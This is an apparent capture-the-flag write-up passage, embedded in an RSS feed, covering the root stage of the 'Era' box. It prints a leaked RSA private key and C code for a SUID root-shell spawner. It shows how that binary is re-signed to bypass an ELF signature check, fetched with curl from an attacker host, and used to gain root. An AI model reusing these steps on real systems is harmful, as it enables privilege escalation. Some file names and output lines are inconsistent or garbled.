keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This aligns with the signature details observed earlier.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;code&gt;[ myexts ]&lt;/code&gt; section verifies that the certificate is meant solely for digital signatures, without any Certificate Authority capabilities.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;Private RSA Key&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;actual private key:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ file key.pem

key.pem: OpenSSH private key (no password)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Nevertheless, executing:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ openssl rsa -in key.pem -check

RSA key ok
writing RSA key
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqKH30+RZjkxiV
JMnuB6b1dDbWUaw3p2QyQvWMbFvsi7zG1kE2LBrKjsEyvcxo8m0wL9feuFiOlciD
MamELMAW0UjMyew01+S+bAEcOawH81bVahxNkA4hHi9d/rysTe/dnNkh08KgHhzF
mTApjbV0MQwUDOLXSw9eHd+1VJClwhwAsL4xdk4pQS6dAuJEnx3IzNoQ23f+dPqT
CMAAWST67VPZjSjwW1/HHNi12ePewEJRGB+2K+YeGj+lxShW/I1jYEHnsOrliM2h
ZvOLqS9LjhqfI9+Q1RxIQF69yAEUeN4lYupa0Ghr2h96YLRE5YyXaBxdSA4gLGOV
HZgMl2i/AgMBAAECggEALCO53NjamnT3bQTwjtsUT9rYOMtR8dPt1W3yNX2McPWk
wC2nF+7j+kSC0G9UvaqZcWUPyfonGsG3FHVHBH75S1H54QnGSMTyVQU+WnyJaDyS
+2R9uA8U4zlpzye7+LR08xdzaed9Nrzo+Mcuq7DTb7Mjb3YSSAf0EhWMyQSJSz38
nKOcQBQhwdmiZMnVQp7X4XE73+2Wft9NSeedzCpYRZHrI820O+4MeQrumfVijbL2
xx3o0pnvEnXiqbxJjYQS8gjSUAFCc5A0fHMGmVpvL+u7Sv40mj/rnGvDEAnaNf+j
SlC9KdF5z9gWAPii7JQtTzWzxDinUxNUhlJ00df29QKBgQDsAkzNjHAHNKVexJ4q
4CREawOfdB/Pe0lm3dNf5UlEbgNWVKExgN/dEhTLVYgpVXJiZJhKPGMhSnhZ/0oW
gSAvYcpPsuvZ/WN7lseTsH6jbRyVgd8mCF4JiCw3gusoBfCtp9spy8Vjs0mcWHRW
PRY8QbMG/SUCnUS0KuT1ikiIYwKBgQC4kkKlyVy2+Z3/zMPTCla/IV6/EiLidSdn
RHfDx8l67Dc03thgAaKFUYMVpwia3/UXQS9TPj9Ay+DDkkXsnx8m1pMxV0wtkrec
pVrSB9QvmdLYuuonmG8nlgHs4bfl/JO/+Y7lz/Um1qM7aoZyPFEeZTeh6qM2s+7K
kBnSvng29QKBgQCszhpSPswgWonjU+/D0Q59EiY68JoCH3FlYnLMumPlOPA0nA7S
4lwH0J9tKpliOnBgXuurH4At9gsdSnGC/NUGHII3zPgoSwI2kfZby1VOcCwHxGoR
vPqt3AkUNEXerkrFvCwa9Fr5X2M8mP/FzUCkqi5dpakduu19RhMTPkdRpQKBgQCJ
tU6WpUtQlaNF1IASuHcKeZpYUu7GKYSxrsrwvuJbnVx/TPkBgJbCg5ObFxn7e7dA
l3j40cudy7+yCzOynPJAJv6BZNHIetwVuuWtKPwuW8WNwL+ttTTRw0FCfRKZPL78
D/WHD4aoaKI3VX5kQw5+8CP24brOuKckaSlrLINC9QKBgDs90fIyrlg6YGB4r6Ey
4vXtVImpvnjfcNvAmgDwuY/zzLZv8Y5DJWTe8uxpiPcopa1oC6V7BzvIls+CC7VC
hc7aWcAJeTlk3hBHj7tpcfwNwk1zgcr1vuytFw64x2nq5odIS+80ThZTcGedTuj1
qKTzxN/SefLdu9+8MXlVZBWj
-----END PRIVATE KEY-----
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;…verifies that this is a valid RSA private key compatible with OpenSSL signing functions.
The private key matches the public key used in the signature verification process probably embedded in the script or retrieved from a secure store. This enables us to re-sign any custom ELF binary we create, as long as we maintain the &lt;code&gt;.text_sig&lt;/code&gt; structure required by the verifier.
&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;Exploit Overview&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;To hijack the privileged &lt;code&gt;monitor&lt;/code&gt; binary, we first need to sign our malicious payload with the Era Inc. signature scheme.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Unlike typical Linux ELF binaries, which don’t include a &lt;code&gt;.text_sig&lt;/code&gt; section by default, this custom section must have been appended after compilation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The presence of &lt;code&gt;.text_sig&lt;/code&gt; itself is a clue—it acts as a signature marker. After some research, we find that the binary is signed using linux-elf-binary-signer, a tool that embeds a cryptographic signature into a dedicated ELF section called &lt;code&gt;.text_sig&lt;/code&gt;. This signature ensures the integrity of the .text segment.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;With this understanding, the path forward is clear. Next, we’ll create a minimal SUID spawner:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;/**
 * hacked.c
 */
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main() {
    setuid(0);
    setgid(0);

    system(&quot;cp /bin/bash /tmp/pwn &amp;amp;&amp;amp; chmod +s /tmp/pwn&quot;);

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Compile&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;gcc -static -o pwn pwn.c
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Next, utilize the leaked &lt;code&gt;key.pem&lt;/code&gt; private key—using the same file for the x509 certificate since it includes the public key as well:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;./elf-sign sha256 key.pem key.pem pwn monitor
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;This command signs pwn and generates monitor containing a valid &lt;code&gt;.text_sig&lt;/code&gt; section:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ ./elf-sign -h
Usage: elf-sign [-h] &amp;lt;hash-algo&amp;gt; &amp;lt;key&amp;gt; &amp;lt;x509&amp;gt; &amp;lt;elf-file&amp;gt; [&amp;lt;dest-file&amp;gt;]
=h, display the help and exit

Sign the &amp;lt;elf-file&amp;gt; to an optional &amp;lt;dest-file&amp;gt; with
private key in &amp;lt;key&amp;gt; and public key certificate in &amp;lt;x509&amp;gt;
and the digest algorithm specified by &amp;lt;hash-algo&amp;gt;. If no
&amp;lt;dest-file&amp;gt; is specified, the &amp;lt;elf-file&amp;gt; will be backup to
&amp;lt;elf-file&amp;gt;.old, and the original &amp;lt;elf-file&amp;gt; will be signed.

$ ./elf-sign sha256 key.pem key.pem pwn monitor
--- 64-bit ELF file, version 1 (CURRENT), little endian.
--- 28 sections detected.
--- Section 0006 [.text] detected.
--- Length of section [.text]: 501773
--- Signature size of [.text]: 458
--- Writing signature to file: .text_sig
--- Removing temporary signature file: .text_sig

$ readelf -S monitor | grep sig
[28] .text_sig          PROGBITS        0000000000000000000000       000be198
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Upload the crafted malicious &lt;code&gt;monitor&lt;/code&gt; binary to overwrite the original.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;eric@era:/opt/AV/periodic-checks$ mv monitor monitor.bak

eric@era:/opt/AV/periodic-checks$ curl -O 10.10.12.7/monitor
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  761k  100  761k    0     0   158k      0  0:00:04  0:00:04 --:--:--  174k

eric@era:/opt/AV/periodic-checks$ chmod +x monitor

eric@era:/opt/AV/periodic-checks$ ls -l
ls -l
total 788
-rwxrwxr-x 1 eric eric 778568 Jul 27 10:36 monitor
-rwxrw---- 1 root devs  16544 Jul 27 10:36 monitor.bak
-rw-rw---- 1 root devs    103 Jul 27 10:36 status.log
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Until the log updates and replies &lt;code&gt;SUCCESS&lt;/code&gt;:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;eric@era:/opt/AV/periodic-checks$ tail st*

[ERROR] Executable not signed. Tampering attempt detected. Skipping.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;When executed, the compromised &lt;code&gt;monitor&lt;/code&gt; will create an SUID-enabled bash binary at &lt;code&gt;/tmp/hacked&lt;/code&gt; with root privileges.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;er.ic@era: /opt/AV/pertodic-checks$ cat st*
cat st*

[SUCCESS] No threats detected.
eric@era:/opt/AV/periodic-checks$ cat st*
cat st*

[SUCCESS] No threats detected.
eric@era: /opt/AV/periodic-checks$ ll /tmp

ll /tmp

total 1416

drwxrwxrwt 13 root root 4096 Jul 27 of
drwxr-xr-x 20 root root 4096 Jul 22 08:41 ../
drwxrwxrwt. root root 4096 Jul 27 -ICE-unix/
drwxrwxrwt root root 4096 Jul 27 -Test-unix/
drwxrwxrwt root root 4096 Jul 27 -X11-unix/
drwxrwxrwt root root 4096 Jul 27 -XIM-untx/
drwxrwxrwt root root 4096 Jul 27 02:48 .font-unix/
-rwsr-Sr-x root root 1396520 Jul 27 10:45 hacked*
...

eric@era:/opt/AV/periodic-checks$ /tmp/hacked -p 
/tmp/hacked -p
hacked-5.1# id
id
uid=1000(eric) gid=1000(eric) euid=0(root) egid=0(root) groups=0( root) ,1000(eric),1001( devs)
hacked-5.1# cat /root/root.txt
f85s9ss5*****

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;ROOTED&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;rooted.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content:encoded></item></channel></rss>